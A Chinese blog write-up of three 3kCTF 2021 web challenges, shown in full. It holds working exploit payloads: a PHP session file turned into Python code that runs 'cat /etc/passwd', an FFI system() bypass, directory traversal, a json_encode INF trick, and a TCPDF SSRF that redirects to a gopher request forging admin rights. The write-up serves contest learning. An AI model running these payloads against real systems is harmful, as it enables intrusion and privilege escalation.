3kCTF2021

2021-05-21 10:05:00
wp - 3kctf

一段时间没打国际赛,最近陆队正在组建一支打国际赛的战队,我也混进去划了一下水,上周末我们也打了第一场国际赛试试水(虽然我在打国赛没怎么看题目),不过初次试水师傅们都很给力,个人认为成绩还算可以(No.9):

可以看到截图中出现的两支国内战队虽然也挺猛的,不过这俩支都是高校队伍,不允许外校加入,因此在这里我也给战队打个广告,路过的师傅可以看看:https://blog.zeddyu.info/advertisement/

感兴趣的师傅可以联系陆队:zeddyu.lu@gmail.com

或者想了解具体的也可以先找我问问情况:756379684@qq.com

Ps.上述排行榜不是3kctf,是omh ctf,wp我写的比较烂就不分享了,具体可以到陆队的知识星球里面看(白嫖党给陆队再打个广告)。

online_compiler

Compile & run your code with the 3k online compiler. Our online compiler supports multiple programming languages like Php, Python,...

Link

Attachment

一个py写的在线php编译器功能如下:

给了源码先稍作审计:

@app.route('/save',methods = ['POST'])
@cross_origin()
def save():
    c_type=request.form['c_type']
    print('ctype-(>'+c_type)
    if (c_type == 'php'):
        code=request.form['code']
        if (len(code)<100):
            filename=get_random_string(6)+'.php'
            path='/home/app/test/'+filename
            f=open(path,'w')
            f.write(code)
            f.close()
            return filename

        else:
            return 'failed'
    """elif (c_type == 'python'):
        code=request.args.get('code')
        if (len(code)<30):
            filename=get_random_string(6)+'.py'
            path='/home/app/testpy/'+filename
            f=open(path,'w')
            f.write(code)
            f.close()
            return filename
        else:
            return 'failed'"""

@app.route('/compile',methods = ['POST'])
@cross_origin()
def compile():
    c_type=request.form['c_type']
    filename=request.form['filename']
    if (c_type == 'php'):
        if (filename[-3:]=='php'):
            if (check_file('/home/app/test/'+filename)):
                path='/home/app/test/'+filename
                cmd='php -c php.ini '+path
                p = Popen(cmd, shell=True, stdout=PIPE, stderr=PIPE)
                stdout, stderr = p.communicate()
                return stdout
            else:
                return 'failed'
        else:
            return 'noop'
    elif (c_type == 'python'):
        if (filename[-2:]=='py'):
            if (check_file('/home/app/test/'+filename)):
                cmd='python3 '+filename
                p = Popen(cmd, shell=True, stdout=PIPE, stderr=PIPE)
                stdout, stderr = p.communicate()
                return stdout
            else:
                return 'failed'
        else:
            return 'noop'

当点击compile按钮时发生的事情如下:

save路由接受c_type以及code两个参数,当c_type为php时将code保存到对应的php文件中,而compile路由同样接受c_type参数,额外的还有一个filename参数,其通过调用Popen来执行对应的解释器去执行对应filename中的代码,而其允许执行php或者python代码,同时filename可以指定为服务器上的任意一个文件。

同时有个点就是它判断文件后缀是采用的数组切片的方式,如:filename[-2:],也就是说不需要真实地存在有py后缀,因此可以选择如hhhmpy这种文件,同时python解释器也能够执行这种文件。

在调用php解释器时指定了一个php.ini的配置文件,而python调用py文件显示没有任何函数的禁用,并且在给出的附件中同样给出了该文件,稍加思考会明白它是给出了disable_function,那么是否是从dis_func中找出函数来bypass,稍加diff发现session可能可以被利用:

同时在ini文件中找到了session存储路径为session.save_path = "/tmp"

本地试一下:

<?php
session_id("hhhmpy");
session_start();
if (!isset($_SESSION['count'])) {
  $_SESSION['count'] = 0;
} else {
  $_SESSION['count']++;
}
?>

sess_hhhmpy:

|s:1:"1";count|i:2;

尝试写python:

<?php
session_id("hhhmpy");
session_start();
if (!isset($_SESSION['count'])) {
  $_SESSION['count'] = 0;
} else {
  $_SESSION['count'] = "
import os
os.system('cat /etc/passwd')
  ";
}
?>

sess_hhhmpy:

count|s:42:"
import os
os.system('cat /etc/passwd')
  ";

很显然这种文件无法执行,需要把第一行及最后面的代码注释一下:

<?php
session_id("hhhmpy");session_start();$_SESSION["#"]="
import os
os.system('cat /etc/passwd')#";?>

得到:

#|s:40:"
import os
os.system('cat /etc/passwd')#";

Post:

http://onlinecompiler.2021.3k.ctf.to:5000/compile
c_type=python&filename=../../../../../../../tmp/sess_hhhmpy

当然了在查看其他人的wp时发现还有如使用FFi来bypass:

<?php $ffi=FFI::cdef("int system(const char *command);");$ffi->system(\'{}\');?>

Emoji

browse some emojis

Challenge

Attachment

给出附件:

<?php
        $secret = "*REDACTED*";
        $flag   = "3k{*REDACTED*}";

        function fetch_and_parse($page){
                $a=file_get_contents("https://raw.githubusercontent.com/3kctf2021webchallenge/downloader/master/".$page.".html");
                preg_match_all("/<img src=\"(.*?)\">/", $a,$ma);
                return $ma;
        }

        $url = @$_GET['url'];
        $key = @$_GET['key'];
        $dir = @$_GET['dir'];
        if($dir){
                $emojiList = fetch_and_parse($dir);
        }elseif ($url AND $key) {
                if($key === hash_hmac('sha256', $url, $secret)){
                        $d = "bash -c \"curl -o /dev/null ".escapeshellarg("https://raw.githubusercontent.com/3kctf2021webchallenge/downloader/master/".$url)."  \"";
                        exec($d);
                        echo '<script>alert("file download requested");</script>';      
                }else{
                        echo '<script>alert("incorrect download key");</script>';
                }

        }


?>
<!doctype html>
<html lang="en">
  <head>
    <!-- Required meta tags -->
    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">

    <!-- Bootstrap CSS -->
    <link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0/css/bootstrap.min.css" integrity="sha384-Gn5384xqQ1aoWXA+058RXPxPg6fy4IWvTNh0E263XmFcJlSAwiGgFAW/dAiS6JXm" crossorigin="anonymous">

    <title>Emoji</title>
  </head>
  <body>
    <h1>Emoji</h1>

    <div class="card-deck">
      <div class="card">

        <div class="card-body">
          <h5 class="card-title"><a href="?dir=eggs">Eggs</a> <a href="?dir=parrot">Parrots</a> <a href="?dir=pepe">Pepe</a></h5>

          <p class="card-text">
            <?php
                if(@$emojiList){
                    foreach ($emojiList[1] as $k => $v) {
                        echo '<a href="?url='.$v.'&key='.hash_hmac('sha256', $v, $secret).'"><img width=100 src="https://raw.githubusercontent.com/3kctf2021webchallenge/downloader/master/'.$v.'" ></a>';
                    }
                }
            ?>
          </p>

        </div>
      </div>
    </div>

  </body>
</html>

可以看到这一个fetch:

function fetch_and_parse($page){
                $a=file_get_contents("https://raw.githubusercontent.com/3kctf2021webchallenge/downloader/master/".$page.".html");
                preg_match_all("/<img src=\"(.*?)\">/", $a,$ma);
                return $ma;
        }

实际上存在着目录遍历,因此可以在git上创建一个仓库,放置一个存在img标签的html页面,然后使用目录遍历:

?dir=../../../../../../../a756379684/3kctfemoji/main/emoji

此时可以得到对应的key:

可以在webhook上收到请求:

ppaste

描述

We've launched our first bugbounty program, Our triage team is eager to hear about your findings !

Bounty Program

Check assets in scope and whether you can leak a flag

Note: - You need account at intigriti.com to view the scope - Submit flag here to get CTF points - Submit a report at intigriti gets you reputation points at intigriti

Hints

  1. json inconsistencies

在intigriti上注册后能够得到一个scope:

ppaste is an internal tool we use to share pastes, and where we also store a flag, we're most interested if that could be leaked. URL : https://ppaste.2021.3k.ctf.to/ SOURCE : https://github.com/rekter0/ctf/tree/main/2021-3kCTF/web/ppaste/ppaste

给出了源码先审计,首先整体架构分为两个app:

  • python,从ppaste.db中取数据,是一个接口,但其挂载在127.0.0.1的8082端口中
  • php,同样是一个接口程序,但其挂载在80端口中并且映射出外网的端口中

那么入口点毫无疑问是这个php接口程序,首先需要注册账号,但账号的注册需要一个邀请码。

代码审计

首先看到注册处:

    case 'register':
        if(@$data['d']['user'] AND @$data['d']['pass']){
            if(!@$data['d']['invite']) puts(0);
            $checkInvite = @json_decode(@qInternal("invites",json_encode(array("invite"=>$data['d']['invite']))),true);
            if($checkInvite===FALSE) puts(0);
            if(uExists($data['d']['user'])) puts(0);
            $db->exec("INSERT INTO users(user,pass,priv) VALUES ('".ci($data['d']['user'])."' ,'".ci($data['d']['pass'])."' , '0')");
            if($db->lastInsertRowID()){
                puts(1);
            }else{
                puts(0);
            }
        }
        puts(0);
        break;

checkinvite会调用到python接口,其调用代码位于common.php中:

function qInternal($endpoint,$payload=null){
    $url = 'http://localhost:8082/'.$endpoint;
    $ch = curl_init($url);
    curl_setopt($ch, CURLOPT_HTTPHEADER, array('Content-Type:application/json'));
    if($payload!==null){
        curl_setopt($ch, CURLOPT_POSTFIELDS, $payload);
    }
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    $result = curl_exec($ch);
    curl_close($ch);
    return(@$result?$result:'false');
}

用的是curl发包去请求invites路由:

@app.route('/invites', methods=['GET', 'POST'])
def invites():
    if request.method == 'POST':
        myJson = json.loads(request.data)
        if(myJson['invite'] in open('/var/www/invites.txt').read().split('\n')):
            return json.dumps(True)
        else:
            return json.dumps(False)
    return json.dumps(open('/var/www/invites.txt').read().split('\n'))

json_encode小trick

首先是php接口中的绕过,json_encode在处理INF时会返回一个false,如下:

<?php
$f=3.3e99999999999999;
var_dump($f);
var_dump(json_encode(array("a"=>$f)));
//float(INF)
//bool(false)

那么这会使得其发送一个空的post请求给内网的api,此时因为接收不到request.data会导致500错误,此时curl得到的结果是NULL,而其判断是使用的:

return(@$result?$result:'false');

此时得到了一个NULL:

<?php
var_dump(json_decode("NULL",true));
//NULL

ssrf

在随意添加文章后, 文章详细页有个下载pdf,在测试html标签放入标题时,发现可以成功解析到,标题处的逻辑中有一行代码:

$data['d']['title'] = preg_replace("/\s+/", "", $data['d']['title']);

会去掉空格,尝试了一下:

<img/src="http://vps">

貌似不行,是不支持img标签?跟一下下载pdf的逻辑,找到download路由:

case 'download':
        if(@$data['d']['paste_id'] AND @$data['d']['type'] ){
            //some useless code....
            }
            if($data['d']['type']==='_pdf'){
                require_once('../TCPDF/config/tcpdf_config.php');
                require_once('../TCPDF/tcpdf.php');
                $pdf = new TCPDF(PDF_PAGE_ORIENTATION, PDF_UNIT, PDF_PAGE_FORMAT, true, 'UTF-8', false);
                $pdf->SetDefaultMonospacedFont(PDF_FONT_MONOSPACED);
                $pdf->SetMargins(PDF_MARGIN_LEFT, PDF_MARGIN_TOP, PDF_MARGIN_RIGHT);
                $pdf->SetFont('helvetica', '', 9);
                $pdf->AddPage();
                $html = '<h2>'.$tP['title'].'</h2><br><h2>'.str_repeat("-", 40).'</h2><pre>'.htmlentities($tP['content'],ENT_QUOTES).'</pre>';
                $pdf->writeHTML($html, true, 0, true, 0);
                $pdf->lastPage();
                $pdf->Output(sha1(time()).'.pdf', 'D');
                exit;
            }
        }
        puts(0);
        break;

因为是跟html解析有关系,所以优先选择跟入writeHTML:

public function writeHTML(...){
  $dom = $this->getHtmlDomArray($html);
}

其中调用了getHtmlDomArray,同样跟入看看:

protected function getHtmlDomArray($html) {
        $matches = array();
        if (preg_match_all('/<link([^\>]*)>/isU', $html, $matches) > 0) {
            foreach ($matches[1] as $key => $link) {
                $type = array();
                if (preg_match('/type[\s]*=[\s]*"text\/css"/', $link, $type)) {
                    $type = array();
                    preg_match('/media[\s]*=[\s]*"([^"]*)"/', $link, $type);
                    // get 'all' and 'print' media, other media types are discarded
                    // (all, braille, embossed, handheld, print, projection, screen, speech, tty, tv)
                    if (empty($type) OR (isset($type[1]) AND (($type[1] == 'all') OR ($type[1] == 'print')))) {
                        $type = array();
                        if (preg_match('/href[\s]*=[\s]*"([^"]*)"/', $link, $type) > 0) {
                            // read CSS data file
                            $cssdata = TCPDF_STATIC::fileGetContents(trim($type[1]));
                            if (($cssdata !== FALSE) AND (strlen($cssdata) > 0)) {
                                $css = array_merge($css, TCPDF_STATIC::extractCSSproperties($cssdata));
                            }
                        }
                    }
                }
            }
        }
}

TCPdf中解析超链接的一个标签link,它会先匹配页面中所有符合外层正则link的html:

提取出link标签内的内容后再进入下一个正则:

之后就是一个href,因此我们的link标签需要满足如下:

此处的正则是逐层提取出匹配内容,因此会发现无需要空格,而提取出url后会进入到一个filegetcontents函数,这是最引人注意的地方:

跟入:

进入到file_exists:

public static function file_exists($filename) {
  if (preg_match('|^https?://|', $filename) == 1) {
    return self::url_exists($filename);
  }
  if (strpos($filename, '://')) {
    return false; // only support http and https wrappers for security reasons
  }
  return @file_exists($filename);
}

此处只允许使用http或https协议,之后就进入到了如下的if:

if ((ini_get('open_basedir') == '') && (!ini_get('safe_mode'))) {
  curl_setopt($crs, CURLOPT_FOLLOWLOCATION, true);
}

满足open_basedir==''和没有设置safe_mode即支持重定向,而恰好这两个是php中的默认配置,至此就可以使用gopher协议打内网的flask的,不过目的是getflag,先找一下获取flag的条件。

寻找一下flag,会发现api.php中有如下:

    case 'admin':
        $tU=whoami();
        if(!@$tU OR @$tU['priv']!==1) puts(0);
        $ret["invites"]=json_decode(qInternal("invites"),true);
        $ret["users"]  =json_decode(qInternal("users"),true);
        $ret["flag"]   =$flag;
        puts(1,$ret);
        break;

这一个priv在注册账号时默认是赋值为0的,全局搜索一下能够找到flask下的users路由:

@app.route('/users', methods=['GET', 'POST'])
def users():
    if request.method == 'POST':
        myJson = json.loads(request.data)
        if(myJson['user']):
            qDB("UPDATE users SET priv=not(priv) WHERE user=? ","setAdmin",myJson['user'])
            return json.dumps(True)
        else:
            return json.dumps(False)
    return json.dumps(qDB("SELECT user,priv FROM users"))

这里对priv做了not操作,因此,只需要传入一个存在user键的json串即可,即:

{"user":"hhhm123"}

在vps上放置跳转

location: gopher://localhost:8082/_POST%20/users%20HTTP/1.1%0D%0AHost%3A%20localhost%0D%0AContent-Length%3A%2018%0D%0AContent-type%3A%20application/json%0D%0A%0D%0A%7B%22user%22%3A%22hhhm123%22%7D%0D%0A

link:

<linktype="text/css"href="https://phptest.a756379684.repl.co">

之后就是访问admin的api即可:

总结

首先是一个php的json解析错误的小trick,然后是从php的TCPDF函数包中寻找到可以进行ssrf的tag,该tag在解析超链接时使用了curl,而在采用了php默认配置的情况下其curl允许链接的重定向,将重定向指向一个gopher协议打内网flask应用的payload。



本文原创于HhhM的博客,转载请标明出处。



CopyRight © 2019-2020 HhhM
Power By Django & Bootstrap
已运行
粤ICP备19064649号